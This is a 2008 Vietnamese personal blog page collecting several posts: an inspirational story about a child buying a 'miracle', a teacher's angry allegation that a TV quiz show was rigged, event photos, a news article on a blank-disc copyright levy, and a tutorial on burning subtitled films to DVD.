Một phép màu đáng giá bao nhiêu?

27 12 2008

Cẩn thận đặt những đồng xu trở lại chiếc hộp, vặn nắp cẩn thận, cô bé ra khỏi nhà bằng lối cửa sau, đi qua 6 dãy nhà nữa để đến một hiệu thuốc lớn.

Cô bé kiên nhẫn chờ đợi người dược sĩ để mắt tới mình, nhưng lúc đó ông ấy đang rất bận. Cô bé lại xoay chân để tạo ra những tiếng cọ xát dưới sàn. Vẫn không ăn thua. Cô bé làm bộ súc họng, cố tạo ra những âm thanh rất đỗi bất lịch sự. Vẫn chẳng ai bận tâm về điều đó. Cuối cùng, cô bé lấy ra một xu trong hộp, gõ keng keng trên bàn kính của quầy thanh toán. Đã có hiệu quả.

“Vậy cháu muốn gì?” – người dược sĩ cao giọng, đúng kiểu đang bị làm phiền. “Ta đang nói chuyện với anh trai mới từ Chicago về, rất lâu rồi ta chưa gặp anh ấy đấy” – dược sĩ tiếp lời mà chẳng cần nhận được câu trả lời của cô bé từ câu hỏi trước.

“Cháu xin được nói chuyện với ông về anh trai của cháu ạ”. Cô bé trả lời với giọng điệu “bị làm phiền” không kém. “Anh ấy ốm, ốm lắm… và cháu muốn mua cho anh ấy một phép màu”.

“Cháu nói sao cơ?” – dược sĩ hỏi.

“Anh cháu tên là Andrew và anh ấy bị cái gì rất xấu mọc lên trong đầu ấy. Bố cháu nói là chỉ có phép màu mới cứu được anh ấy lúc này thôi. Thế bao nhiêu tiền một phép màu ạ?”.

“Ở đây chúng ta không bán phép màu cô bé ạ. Ta xin lỗi không giúp gì được cho cháu cả” – dược sĩ trả lời, giọng điệu đã nhẹ nhàng hơn.

“Xin hãy nghe cháu, cháu có tiền trả mà. Nếu chưa đủ, cháu sẽ lấy thêm. Cứ nói cho cháu biết một phép màu bán bao nhiêu tiền”.

Anh trai của dược sĩ là một người đàn ông ăn mặc rất sang trọng. Lúc này ông ấy khom người xuống hỏi cô bé: “Thế anh cháu cần loại phép màu nào?”.

“Cháu không biết”, cô bé trả lời với đôi mắt chực khóc. “Cháu chỉ biết anh ấy rất ốm và mẹ nói anh ấy cần được phẫu thuật. Nhưng bố không có đủ tiền, nên cháu muốn dùng tiền của cháu…”.

“Thế cháu có bao nhiêu?” – Người đàn ông đến từ Chicago hỏi.

“1 đô la và 11 xu ạ” – cô bé trả lời rành rọt. “Và đó là tất cả số tiền cháu có, nhưng cháu sẽ kiếm thêm nếu cần”.

m, thế là vừa duýt cháu ạ. 1 đô la 11 xu, đó chính xác là giá của một phép màu dành cho anh cháu đấy”.

Anh của dược sĩ một tay cầm tiền từ cô bé, tay kia nắm lấy bàn tay bé nhỏ của cô rồi nói: “Đưa ta đến chỗ cháu ở. Ta muốn xem anh của cháu thế nào và gặp bố mẹ cháu nữa. Để xem ta có loại phép màu cháu cần không”.

Người đàn ông ăn mặc sang trọng ấy chính là một tiến sĩ, bác sĩ phẫu thuật thần kinh. Cuộc phẫu thuật cho anh trai cô bé hoàn toàn miễn phí. Không lâu sau Andrew đã khỏe mạnh hơn và có thể về nhà. Bố mẹ đều rất vui, không ngớt lời kể về chuỗi sự việc dẫn họ đến niềm hạnh phúc ngày hôm nay.

“Cuộc phẫu thuật đó qủa là một phép màu” – mẹ cô bé thì thầm. “Em tự hỏi không biết nó đáng giá bao nhiêu…”.

Cô bé chỉ cười khi nghe bố mẹ nói chuyện. Cô biết chính xác một phép màu đáng giá bao nhiêu. 1 đô la 11 xu… cộng thêm niềm tin của một đứa trẻ.

Huyền Anh

Theo MTU





Sự thật về chương trình “Đường lên đỉnh Olympia”.

19 11 2008

Đêm 2.11.2008, chủ nhật…
GIẢ DỐI, đó là điều đọng lại trong chúng tôi khi bước khỏi trường quay S9 của cái gọi là… Đài truyền hình Việt Nam.
Là sự thất vọng tràn trề trên gương mặt các thí sinh tỉnh ngoài về Thủ đô dự thi cái gọi là… “Đường lên đỉnh Olympia”.
Trận thi tháng hôm nay gồm các thí sinh Chí Thiện của trường THPT Bắc Bình, tỉnh Bình Thuận, Hoàng Hiệp của trường THPT Chuyên Bắc Giang, tỉnh Bắc Giang chúng tôi, Hoàng Hải của trường THPT Chuyên Amsterdam, Hà Nội và Ngọc Thảo – em nữ duy nhất của trường THPT Chuyên, tỉnh Phú Yên.
Chương trình này quay để phát trong dịp Tết Nguyên Đán – Kỷ Sửu 2009, cho nên có sự giả dối ở đây là các cây hoa Đào và hoa Mai giả xếp quanh trường quay, thí sinh Hoàng Hải giả vờ là đang dịp… sinh nhật và nhiều điều giả dối còn… khốn nạn hơn thế!
Em Hoàng Hiệp của chúng tôi trước khi thi đã bị sốt 39,2 độ vì mấy ngày nay phải lội nước vào – ra cái trường quay khốn khổ này, em phải đi tiếp nước và tiêm để vào thi.
Vòng khởi động, Chí Thiện và Hoàng Hiệp thi tốt đẹp, mỗi em được 40/60 điểm. Đến lượt “người Hà Nội” (NHN) thi thì đến câu thứ 4 em này không trả lời được, người dẫn chương trình Nguyễn Hữu Việt Khuê (VK) phán “Câu này đã phát rồi nên phải hỏi lại với câu hỏi khác…” – Một câu nói thật hết sức vô lý? Sau đó NHN cũng được 40/60 điểm…
Đến vòng thi ô chữ vượt chướng ngại vật thì sự khốn nạn đã lộ rõ…
Hàng ngang thứ nhất Chí Thiện và các em có đáp án “Quảng Ninh”, đúng 100%. Sau đó Hoàng Hiệp mở hàng ngang thứ 7 là “Cọc” và tất cả đều có thể trả lời được đáp án của câu này, thế thì mới có “Vấn đề”…
VK nói “Các em bấm quá nhiều nên bị treo máy…” (?) Một câu nói rất vô lý, với một chương trình trí tuệ này không thể xảy ra điều đó, mà lại xảy ra ở trường quay của cái gọi là Đài THVN? Người ngu nhất cũng hiểu rằng nếu có một thí sinh đã bấm thì các thí sinh còn lại bấm cũng bằng… không, hoặc như “Ai là triệu phú” thì tất cả cùng được bấm và máy cho biết người bấm sớm nhất… Phải chăng đây là sự cố ý của nhà Đài để làm những chuyện khuất tất?
Và cứ như vậy 3 lần anh chàng VK này nói như thế khi thấy trên màn hình là tên Hoàng Hiệp và Chí Thiện dừng lại? Anh ta còn dọa Hoàng Hiệp “Em có muốn thi hay dừng chơi, tôi nói là 5 giây bắt đầu mới được quyền bấm chứ…”, một thái độ không thể chấp nhận được. Anh ta là cái quái gì mà cấm thí sinh dừng chơi?
Lần thứ 4 máy dừng lại ở chữ… Chí Thiện nhưng VK bảo Hoàng Hải đã bấm chuông (?). Chí Thiện thắc Mắc “Sao màn hình báo tên em mà anh lại bảo là Hoàng Hải”. VK trả lời không biết ngượng rằng “Tên em hiện lên là do em bấm… cuối cùng” (?) Người ngu nhất cũng hiểu rằng vậy là VK nói điêu, vì ban nãy anh ta bảo bấm nhiều treo máy và dọa thí sinh – điều không thể chấp nhận với một người dẫn chương trình, bây giờ bấm nhiều thì không treo máy (?) mà là… hiện tên người bấm cuối cùng. Vậy cứ cho là đúng đi thì làm quái gì mà biết được em nào bấm đầu tiên? Khốn nạn, khốn nạn hết chỗ nói!
Chí Thiện vẫn bức xúc “Tại sao khi em và bạn Hiệp bấm mà chuông không kêu?” Điều này không chỉ ông trời biết mà chúng tôi cũng cảm nhận được.
Vẻ mặt thất thần trên khuôn mặt ba thí sinh không phải “người Hà Nội”, còn thí sinh Hoàng Hải với vẻ mặt nhăn nhở từ khi bắt đầu cuộc thi “Đợt này sắp sinh nhật em, em muốn là người chiến thắng hôm nay để làm phần thưởng cho… chính mình”. Một sự ngạo mạn ngu dốt, người tử tế thì sẽ nói “Em mong hôm nay em và các bạn chơi gặp nhiều may mắn”.
Tôi rất thương Chí Thiện và Ngọc Hảo, hai em ở tận miền trong ra, Thiện hôm qua về nhì sau em Hiệp của chúng tôi nhưng chúng tôi đều khâm phục em, Thiện ra đây cùng Ba em và thầy giáo em còn Hảo ra đây cùng cô ruột thôi… Các em ra đây đã bơ vơ giữa chốn Hà Thành khắc nghiệt này. Tôi thương cả em Hiệp của chúng tôi bị ốm bất ngờ nữa. Mà thương các em cũng là do sự khốn nạn của trốn này.
Vậy là câu này NHN ăn trọn 80 điểm. Nhiều người bức xúc ra yêu cầu ban tổ chức cho câu khác nhưng nhân viên nhà Đài trối đây đẩy, chắc họ cũng phải làm theo một thế lực đen tối, bẩn thỉu lớn hơn ở phía sau (?). Họ cũng nhục nhã lắm chứ!
Cuối cùng thì NHN “chiến thắng” trong sự ngượng ngịu của chính mình và sự thất thần của 3 thí sinh còn lại cùng với sự khinh bỉ của các thầy giáo chúng tôi.
Tôi mới thấy rằng nhà Đài mị dân rất giỏi nhưng không qua mặt được các em chứ chưa cần nói đến chúng tôi. Vậy chúng tôi dạy các em những điều tốt đẹp trong cuộc sống thế nào đây?
Diễn, diễn và diễn… các “diễn viên” của nhà Đài rất dở. Đọng lại trong các em và chúng tôi nỗi thất vọng quá lớn về cái gọi là “Đường lên đỉnh Olympia” này.
Chúng tôi bước vội ra khỏi Đài THVN để lên ô tô vì không thể chịu được sự ngột ngạt và bẩn thỉu trong trường quay S9 này…
Thôi các em ạ, lũ không bao giờ về Hà Nội được nhưng đợt này lụt đã về Hà Nội. Mọi chuyện trong cuộc đời đều có thể xảy ra dù đó là điều… khốn nạn nhất…
Nhưng trẻ con đã mất niềm tin tại nơi nhẽ ra không bao giờ và không được phép để xảy ra những điều như vậy!
Đêm hoang mang…


Copy từ blog thầy Tuấn thầy giáo dạy toán trường PTTH Chuyên Bắc Giang

http://blog.360.yahoo.com/blog-bJDKH…1&p=71&n=28500





Vài ngày làm phu

8 11 2008

Mấy hôm vừa rồi anh em ở KUAS đi làm sân thi đấu cho pre-event of world game, các bác nhà ta cũng tý tởn + đua đòi chụp hình để làm kỷ niệm vì có đội tuyển Vệt Nam thi đấu :D , nào mời bà con cùng coi….

Ghép sân thi đấu


Các bác nhà ta tí tởn ngồi ở vị trí trao giải


Cùng ban huấn luyện đội tuyển Việt Nam


Trên khan đài


Lễ trao giải


Chụp cùng 3 vận động viên sau khi thi đấu





Chuyện thu tiền bản quyền đĩa trắng: học tập hay bắt chước?

19 09 2008

 

Song, xem ra những người soạn thảo nghị định này bỏ ngoài tai mọi ý kiến phản biện và cho rằng phải làm theo các nước khác mới đúng, và người ta phản đối là vì không hiểu chuyện ở nước khác.

 

Nhất thiết phải thu phí

 

Ông Vũ Mạnh Chu, Cục trưởng Cục Bản quyền Tác giả cho rằng, việc thu phí bản quyền trên đĩa quang trắng là cần thiết. Theo ông Chu, nhiều nước phát triển tại châu Âu hay Mỹ trong luật bản quyền cũng có quy định đĩa quang phải trả một khoản tiền gọi là đền bù bản quyền cho tác giả và quyền liên quan.

 

Việc trả khoản đền bù cũng là một cách để hài hòa quyền lợi giữa người tiêu dùng, người sản xuất và tác giả. Và nhiều nước châu Á cũng đã có luật về đĩa quang nên Việt Nam cũng phải tính đến việc quản lý đĩa quang.

 

Trao đổi với báo giới bên lề một cuộc hội thảo về bản quyền, ông Chucũng công nhận đĩa quang được sử dụng với nhiều mục đích khác nhau. Nhưng phần lớn việc sử dụng có liên quan đến quyền tác giả, nên việc thu phí bản quyền là hợp lý.

 

“Tại Việt Nam và các nước, các nhà máy sản xuất đĩa quang cũng là nơi tiêu thụ nhiều đĩa quang trắng lậu nhất. Chính vì vậy, các doanh nghiệp sản xuất mới “phản ứng” mạnh về việc thu bản quyền này”

 

Ông Chu kể, ông đã từng đến thăm một nhà máy sản xuất đĩa quang (cả đĩa quang trắng và đĩa ghi chương trình). Và đoàn của ông đã phải chờ tới cả tiếng mới được vào, không được vào ngay như các nhà máy sản xuất mặt hàng khác. Ông Chu lý giải, có chuyện này bởi tại Việt Nam và các nước, các nhà máy sản xuất đĩa quang cũng là nơi tiêu thụ nhiều đĩa quang trắng lậu nhất. Chính vì vậy, các doanh nghiệp sản xuất mới “phản ứng” mạnh về việc thu bản quyền này.

 

Về việc tại sao doanh nghiệp và người dùng phản ứng gay gắt về việc này, ông Chu cho rằng có một lý do nữa là vì họ chưa hiểu về quy định của các nước. Vì thế, Cục Bản quyền Tác giả đã phải tăng cường thông tin trên website của mình về việc thu tiền đền bù bản quyền của các nước như Đức, Thụy sĩ, Pháp, Nhật Bản, Hoa Kỳ… để mọi người hiểu hơn và đồng thuận với chính sách quản lý này.

 

Doanh nghiệp sản xuất đĩa quang nói gì?

 

Theo nhận định của các chuyên gia trong lĩnh vực sản xuất đĩa quang, thị trường các nước trong khu vực, đã xuất hiện tình trạng cung vượt cầu trong sản xuất đĩa quang trắng. Vì thế, mức giá bán sản phẩm này hiện khá thấp, các nhà sản xuất đĩa quang trắng trong nước đang phải gồng mình chịu đựng vì lỡ đầu tư thiết bị.

 

Vài năm trước, có nhiều doanh nghiệp trong nước tham gia sản xuất đĩa quang trắng, nhưng nay chỉ còn vài đơn vị sản xuất mặt hàng này như Bách Việt, Đức Việt, VIT. Đĩa quang trắng sản xuất trong nước hiện chỉ chiếm khoảng một nửa thị trường, còn lại phần lớn là đĩa nhập lậu từ Trung Quốc.

 

Ông Đinh Thọ Văn, Phó tổng giám đốc Công ty cổ phần Công nghệ và đầu tư Bách Việt cho biết, để giữ khách hàng, mức giá bán đĩa quang trắng có lúc còn thấp hơn giá thành từ 5 – 7% với hy vọng tình trạng khó khăn này sẽ không kéo dài.

 

Ông Văn cũng cho rằng việc các doanh nghiệp đang phải đối mặt với khó khăn trong cạnh tranh về giá với đĩa nhập lậu mà lại phải trả thêm khoản phí bản quyền này chỉ làm tăng thêm khó khăn cho doanh nghiệp.

 

Ông Văn nói: “Hơn nữa, việc các nhà sản xuất phải trả tiền bản quyền trên đĩa trắng có nhiều điều không hợp lý. Vì đĩa trắng cũng giống như một tờ giấy trắng, sao lại phải trả tiền bản quyền khi chưa ghi gì lên đó. Đĩa trắng được sử dụng cho nhiều mục đích khác nhau, trong đó có việc lưu trữ dữ liệu cá nhân không liên quan gì đến vấn đề bản quyền”.

 

Ông Trần Ngọc Linh, Giám đốc Công ty Cổ phần Sản xuất Thương mại Đức Việt cũng cho rằng dự thảo này nếu được triển khai chắc chắn sẽ ảnh hưởng lớn đến các doanh nghiệp sản xuất đĩa trắng hiện phải cạnh tranh với hàng lậu. Ông nói: “Nếu nhà nước tiếp tục thu thêm phí bản quyền của đĩa quang trắng thì chúng tôi buộc phải dừng sản xuất mặt hàng này”.

 

Ông Linh cho rằng sản phẩm đĩa trắng không chỉ dùng cho mục đích ghi các chương trình ca nhạc hay các chương trình có bản quyền. Tại sao không đánh thuế trực tiếp tiền bản quyền vào các chương trình được ghi trên đĩa? Một đĩa trắng, chưa sao chép nội dung mà thu phí bản quyền. Đó là điều vô lý!

 

Về giá bán đĩa quang trắng, ông Văn cho biết, nếu nghị định này đi vào thực thi, mỗi năm Bách Việt sẽ phải trả hơn một tỉ đồng tiền bản quyền. Như vậy buộc giá bán đĩa quang trắng sẽ phải “đội” lên. Mà giá cao càng khó bán.

 

Còn ông Linh cũng nhận định, việc thu phí bản quyền này sẽ làm cho giá bán sản phẩm đĩa quang trắng của Đức Việt sẽ tăng lên từ 5 - 15%.

 

Người tiêu dùng bất bình

 

Ở góc độ người dùng, ông Đinh Hải Ngọc, Giám đốc Công ty Kiến trúc Hiên Ngọc cho rằng quy định việc thu phí bản quyền trên đĩa quang trắng là không hợp lý. Vì đĩa trắng sao lại phải trả phí bản quyền. Bản quyền chỉ phải trả cho tác quyền. Mà đĩa trắng lại không phải tác quyền nên không thể bắt người tiêu dùng trả.

 

Ông Ngọc đặt câu hỏi: nếu muốn chống vi phạm bản quyền, sao các cơ quan chức năng không làm gắt khâu kiểm tra để xử lý vi phạm? Sao lại bắt cả những người dùng đĩa trắng cho mục đích lưu trữ dữ liệu phải trả tiền?

 

Còn chủ một cửa hàng băng đĩa ở Hà Nội (không cho biết tên) cho rằng, nếu khi mua đĩa trắng đã đóng phí bản quyền thì người dùng có quyền chép phim, nhạc hoặc bất kỳ phần mềm thương mại nào mà không vi phạm luật bản quyền nữa. Người sở hữu bản quyền cứ việc đến nơi thu tiền bản quyền mà đòi phần của họ.

 

Nói cách khác, ông này cho rằng cách làm trên đã hợp pháp hóa quyền sao chép sản phẩm có bản quyền của người khác. Khi người mua đĩa phải trả tiền (cho ai đó, dù họ không biết) thì họ phải có quyền lợi trong việc sử dụng bản quyền (của ai đó) cần thiết cho họ. Nếu không thì số tiền đó sẽ vào túi ai?

 

Học tập hay bắt chước?

 

Nói về quy định của các nước trong lĩnh vực này, ông Trần Ngọc Linh, Giám đốc Công ty Cổ phần Sản xuất Thương mại Đức Việt nói rằng, tại một số nước trên thế giới, việc thu phí được các hãng (Philip, Sony) thu trên đĩa trắng là phí phát minh ra công nghệ sản xuất đĩa chứ không phải là thu phí bản quyền. Nhưng việc thu phí này cũng được các hãng bỏ từ vài năm nay, họ chỉ tiến hành thu trên đĩa có nội dung chương trình. Ông Linh dẫn ra ví dụ này với mục đích lý giải cho việc thu phí trên đĩa quang trắng của các nước.

 

Còn theo nhận xét của một chuyên gia (không muốn nêu tên), việc thu phí bản quyền đối với đĩa quang trắng cũng là hình thức không phổ biến trên thế giới. Do vậy, khi tham khảo chính sách quản lý của thế giới về một lĩnh vực, nhà hoạch định chính sách cũng nên tìm hiểu về mức độ phổ biến của chính sách đó bên cạnh tính khả thi.

 

Chưa kể tới việc “đẻ” ra việc thu phí này là do nhà hoạch định chính sách hiểu sai ý nghĩa của việc thu tiền bản quyền trên đĩa trắng ở một số nước. Canada đã từng thu khoản phí này nhưng đã phải bỏ. Do vậy, cần học hỏi kinh nghiệm quản lý tại lĩnh vực này trên tinh thần nghiên cứu thật kỹ luật pháp, tập quán sinh hoạt và tiêu dùng của người dân mỗi nước.

 

Điều hợp lý với xã hội này có thể là sai lầm với một đất nước có điều kiện kinh tế và tập quán tiêu dùng không giống nhau. Không phải những gì các nước phát triển đã hoặc đang làm đều đúng với ViệtNam. Có một sự khác biệt rất lớn giữa nhắm mắt bắt chước với thái độ nghiêm túc học tập về giải pháp quản lý xã hội.

 

Mặc dù trước nhiều ý kiến khác nhau của các doanh nghiệp, người tiêu dùng và các chuyên gia, nhưng ông Chu vẫn nhấn mạnh, việc thu phí bản quyền đĩa quang trắng đang là một vấn đề lớn, vượt khỏi tầm của một nghị định. Rất có thể, nội dung này sẽ trở thành một điều luật mới trong dự án sửa đổi, bổ sung Luật Sở hữu trí tuệ sắp tới.

 

- Đĩa quang trắng là bất kỳ sản phẩm nào có thể ghi, lưu trữ được dữ liệu dưới dạng số hóa để có thể đọc được bằng thiết bị quang học.

 

- Bản dự thảo nghị định quy định về sản xuất, xuất khẩu, nhập khẩu và lưu hành đĩa quang được Chính phủ giao Cục Bản quyền tác giả (thuộc Bộ Văn hóa, Thể thao và Du lịch) soạn thảo. Trong bản dự thảo này có một nội dung liên quan tới việc sẽ thu tiền bản quyền đối với đĩa quang trắng. Theo đó mọi tổ chức, cá nhân sản xuất và nhập khẩu đĩa quang trắng phải nộp tiền bản quyền. Tiền bản bản quyền này được tính bằng 3% của 50% giá đĩa quang trắng bán ra thị trường.

 

Theo dự thảo này, Hiệp hội Công nghiệp ghi âm Việt Nam sẽ được chỉ định là đơn vị thu tiền bản quyền và phân phối tiền này cho các chủ thể liên quan theo thỏa thuận. Hiệp hội này sẽ giữ lại 20% tổng số tiền bản quyền thu được để làm kinh phí hoạt động và lập quỹ khuyến khích sáng tạo. Phần còn lại 80% sẽ được chia như sau: 36% sẽ được chia cho chủ sở hữu quyền tác giả, 32% cho người biểu diễn và 32% cho nhà xuất bản ghi âm, ghi hình.

 

Việc thu và phân phối tiền bản quyền này phải đảm bảo nguyên tắc công khai, minh bạch. Bộ Văn hóa, Thể thao và Du lịch phối hợp với Bộ Tài chính kiểm tra hoạt động thu và phân phối khoản tiền này.

 

(Nguồn: Dự thảo nghị định quy định về sản xuất, xuất khẩu, nhập khẩu và lưu hành đĩa quang; sử dụng đĩa quang để định hình, sao chép tác phẩm, cuộc biểu diễn, bản ghi âm, ghi hình và chương trình phát sóng).

 

Theo Vân Oanh

Thời báo kinh tế Sài Gòn





Cách add phụ đề *.SMI vào phim vĩnh viễn?

30 07 2008

Chuẩn bị công cụ :
- ổ ghi.
- K-Lite Codec Pack 3.8xx Full mới nhất (Sau khi cài sẽ có Windows Media Classic dùng để thử phụ đề)
- UltraEdit 32
- UnikeyNT 3.6
- DirectVobSub (VSFilter) 2.38
- SubtitleWorkshop Ver mới nhất.
- TMPEnc DVD Source Creator.
- TMPEnc DVD Author.
- Nero Burning Rom Ver mới nhất.
==============================================

DirectVobSub (VSFilter) 2.38
Code:

Trích dẫn:
http://www.free-codecs.com/download/DirectVobSub.htm

Subtitle Workshop 2.51
Code:

Trích dẫn:
http://www.urusoft.net/downloads.php?lang=1

K-Lite Codec Pack 3.8.xx Full
Code:

Trích dẫn:
http://www.free-codecs.com/K_Lite_Codec_Pack_download.htm

Các software còn lại trong Forum ta có rùi các bạn tự kiếm nhé ^^

Bước 1 : download file film *.wmv và file phụ đề *.smi về.
Bước 2 : Xử lý tệp *.smi (mặc định file này là mã tiếng Việt NCR decimal ta sẽ chuyển sang mã Vietnamese Locale CP 1258 từ phần mềm Unikey 3.6)

- Trong file phụ đề *.smi luôn có sẵn phụ để tiếng Việt và tiếng Anh
- Mở file phụ đề SMI bằng UltraEdit 32 > bấm Ctr +A để chọn tất > bấm Ctr + C để nó nhớ vào clipboard.
- Đến đây, nếu bạn đã cài đầy đủ phần mềm cần thiết ở trên thì chắc chắn bạn phải có Unikey rồi, nếu chưa chạy Unikey thì bạn phải khởi động nó, khi biểu tượng của Unikey xuất hiện trên System Tray thì bạn bấm phải chuột và chọn mục Công Cụ… trên menu hiện ra.
- Bạn chọn mã tiếng việt theo hình ( quan trọng đó ^^. Rồi ấn vào “Chuyển mã”
Quay về UltraEdit 32 bạn ấn Ctr+V >> lưu lại đè lên file cũ.
- Lưu xong bạn mở SubtitleWorkshop lên rồi mở tệp SMI vừa lưu nếu thấy hiển thị đúng tiếng Việt có nghĩa là đã xong bước xử lý tệp SMI rồi.
-Lúc này bạn có thể dùng các chương trình chơi Multimedia khác ngoài WMP ví dụ như: Media Player Classic….. để phát lại phim với phụ đề hiển thị đúng tiếng Việt. Lưu ý các bạn: Muốn Convert thành công tệp SMI và để hiển thị đúng bảng mã Vietnamese Locale 1258 các bạn phải cài các font chữ và các thành phần hỗ trợ tiếng Việt của Microsoft từ đĩa cài Windows bằng cách vào Control Panel/ Regional and Language Options để thêm các thành phần còn thiếu vào hệ thống. Như kiểu cài TV để gõ được trong Yahoo Messenger ấy mà.

Bước 3 :Cấu hình DirectVobSub
Để có thể thêm phụ đề trực tiếp vào phim ngay trong quá trình chuyển dạng (Encode) từ định dạng wmv sang mpeg1/2 bạn phải cài chương trình VobSub
- Chương trình sẽ cài đặt module DirectVobSub (Force auto-loading version) vào hệ thống của bạn, module đó sẽ đọc và hiển thị tệp phụ đề smi khi bạn phát tệp phim wmv hay encode tệp đó thành mpeg1/2. Sau khi cài đặt chương trình bạn phải thiết lập thông số bằng cách bấm vào Start/ Programs/VobSub/DirectVobSub Configure để thay đổi các thông số về Font.
Trong phần Text setting bạn chọn font chữ là Arial, trong cửa sổ chọn Font mục Script bạn chọn là Vietnamese, mục đích là hiển thị đúng phụ đề tiếng Việt dùng bảng mã Vietnamese Locale CP 1258 lưu trong tệp SMI đã được chuyển mã Tiếng Việt ở bước trên. Ở cửa sổ nêu trên bạn cũng có thể thay đổi các thông số khác mà tôi chưa kịp tìm hiểu. Module DirectVobSub (Force auto-loading version) sẽ được các chương trình Multimedia như Media Player Classic tự động gọi khi mà chúng ta xem phim. Nếu cài đặt đúng và thành công thì sẽ có một biểu tượng mũi tên mầu xanh trỏ lên khi chúng ta xem hay encode phim.
- Điều đặc biệt lưu ý là khi lưu trữ phim và phụ đề bạn phải đặt tên file wmv và file smi giống nhau
VD: gangter.wmv thì tệp smi phải là gangter1.smi và phải đặt trong cùng một thư mục với nhau.

Bước 4 :Chỉnh sửa tệp SMI bằng SubtittleWorkshop

- Bây giờ bạn đã có trong tay hai tệp *.wmv và *.smi (đã được chuyển mã rồi), bạn chạy Media Player Classic và mở tệp wmv, bạn sẽ xem được bộ phim với hình ảnh sắc nét đặc trưng vốn là thế mạnh của chương trình này, điều đặc biệt hơn là bộ phim đó có phụ đề đàng hoàng và hiển thị đúng tiếng Việt nữa, tuy nhiên cùng một lúc sẽ có hai phụ đề Tiếng Việt và Tiếng Anh (hay tiếng Thái Lan cũng vậy, tùy thuộc vào nội dung file smi mà) cung hiển thị. Nguyên nhân là trong nội dung tệp smi có lưu một lúc cả hai loại phụ đề để người xem có thể chuyển từ ngôn ngữ này sang ngôn ngữ khác khi xem trên NET (tôi nói rõ là trên NET nhé). Bây giờ chúng ta cần phải cắt bỏ phần phụ đề ngôn ngữ khác đi, chỉ giữ lại Tiếng Việt thôi. Đó là lý do có bước này Bây giờ bạn mở Subtitle WorkShop lên,
Để loại bỏ phần phụ đề ngôn gnữ khác, bạn tìm đến dòng bắt đầu có các đoạn text của ngôn ngữ khác, thông thường là ở giữa tệp, chọn toàn bộ từ đó đến cuối tệp bằng cách bấm Ctrl-Shift-End rồi bấm Delete. Sau khi xóa xong, bạn ghi lại tệp phụ đề đó để dùng lại sau này.

Bước 5: Encode tệp wmv bằng TMPEnc DVD Source Creator.
Chạy chương trình
Bấm New Project
Đến đây, như bạn đã thấy trên hình trên, tôi chọn tùy chọn Convert hình ảnh là NTSC (16:9) và Convert âm thành là: CBR MPEG-I Layer II Audio (MP2) để rút ngắn thời gian Encode xuống so với tùy chọn VBR MPEG-I Layer II Audio (MP2) . Tiếp đó bạn bấm Next: rồi bấm Add
Chọn tệp wmv muốn Encode sau đó bấm Open:
Cứ để nguyên như trên và bấm OK:
Nếu có thay đổi thì làm luôn tại đây nhưng tôi bấm Next luôn khi đến bước ở hình trên.
Trên hình là tùy chọn lưu tệp mpg (Mpeg2) vào vị trí thích hợp, nếu muốn thay đổi bạn làm luôn tại đây, nếu không bấm Next luôn để chuyển sang quá trình Encode, nếu bạn thấy xuất hiện biểu tượng của DirectVobSub trên System Tray thì có nghĩa là tệp Mpg bạn thu được sau quá trình Encode sẽ có phụ đề luôn trên film (cái này là một hạn chế), khi phát lại trên DVD dân dụng bạn không phải chọn phụ đề như các đĩa DVD thông thường:
Như bạn thấy, thời gian để Encode một bộ phim từ tệp wmv ra mpg mất khoảng 3 giờ trên hệ thống của tôi, tùy thuộc vào năng lực của máy, quá trình này có thể nhanh hơn hay chậm hơn nhiều. Kết quả cuối cùng là bạn thu được một hay nhiều tệp mpg theo định dạng Mpeg2, bạn có thể phát thử để xem luôn trên PC hay ghi ra đĩa DVD, SVCD tùy bạn.

Bước 6: Tạo Layout cho đĩa DVD từ tệp mpg đã có sau bước 6 và ghi ra DVD:
TPMEnc DVD Author cho phép chúng ta tạo ra layout cho đĩa DVD từ tệp mpg mà chúng ta đã thu được ở bước trước, có rất nhiều tùy chọn bao gồm việc tạo Menu cho đĩa DVD, thêm Chapter theo thời gian định sẵn để sau này xem trên đầu DVD dân dụng chúng ta có thể tua nhanh tới hay lui….. dù rằng nhiều như thế nhưng mà tôi tin nếu sử dụng nó một vài lần bạn sẽ quen vì nó rất trực quan và dễ dàng, vả lại cái cửa sổ của chương trình nó to quá nên tôi không tiện Capture để đưa vào đây được (xin lỗi). Nhưng kết quả cuối cùng của 10 đến 15 phút chương trình chạy là bạn phải thu được một thư mục có tên Volume *** , trong đó có lưu hai thư mục Video_TS và Audio_Ts và các tệp VOB, IFO…. Là định dạng chuẩn của đĩa DVD, lúc này bạn chỉ việc chạy Nero, chọn định dạng là DVD-Video rồi kéo hai thư mục Video_TS và Audio_Ts trong thư mục Volume *** thả sang cửa sổ bên trái rồi bấm nút Burn rồi đợi đến khi ghi xong là bạn có thể thưởng thức được rồi.

Trên đây là các kinh nghiệm tôi đã thu được sau khi mày mò để chuyển phim từ máy tính ra đĩa DVD để xem ở nhà (Đang vi phạm bản quyền đấy) mà có phụ đề. Các bạn có thể dựa vào đây để tạo ra đĩa VCD/SVCD/DVD với chất lượng đáp ứng được nhu cầu giải trí tại gia. Điểm hạn chế là phụ đề phim sẽ được chuyển thành tín hiệu Video nên không thể Switch từ ngôn ngữ này qua ngôn ngữ kia được và cũng chỉ có duy nhất một ngôn ngữ hiển thị khi ta xem phim được thôi, tuy nhiên cái này đáp ứng được yêu cầu nếu bạn làm đĩa VCD Video thông thường có phụ đề. Và tôi chúc các bạn thu được kết quả tốt nhất theo ý mình từ các hướng dẫn trên đây.
Vì chưa bao giờ viết hướng dẫn kiểu như thế này nên còn rất nhiều điều tôi viết các bạn sẽ khó hiểu, xin lắng nghe các ý kiến góp ý để hoàn thiện giải pháp này.

Trong bài hướng dẫn có sử dụng thông tin trên trang web www.dvdhepl.com.

Sau đây là kinh nghiệm mình có được:

- VSO DivxtoDVD: Chất lượng hình ảnh tốt hơn WinVideoConvert; Thời gian convert và burn ra thành 1 DVD hoàn chỉnh là 1 giờ 30 phút; Có thể lựa chọn subtitles (soft sub). Menu DVD xấu và không thể Edit (hy vọng sẽ edit được trong tương lai). Không thể convert cho file wmv – nonsteam support.

- WinVideoConvert : Chất lượng hình ảnh xấu hơn VSO DivxtoDVD; Thời gian convert và bủn ra thành 1 DVD hoàn chỉnh là 1 giờ 05 phút; Không thể tắt Subtitle (hard sub). Có nhiều tinh chỉnh cho Menu DVD.

Các bạn có thể học hỏi thêm về convert từ 2 links này : hxxp://www.videohelp.com/ và hxxp://www.doom9.org/





Cách sử dụng directvobsub

30 07 2008

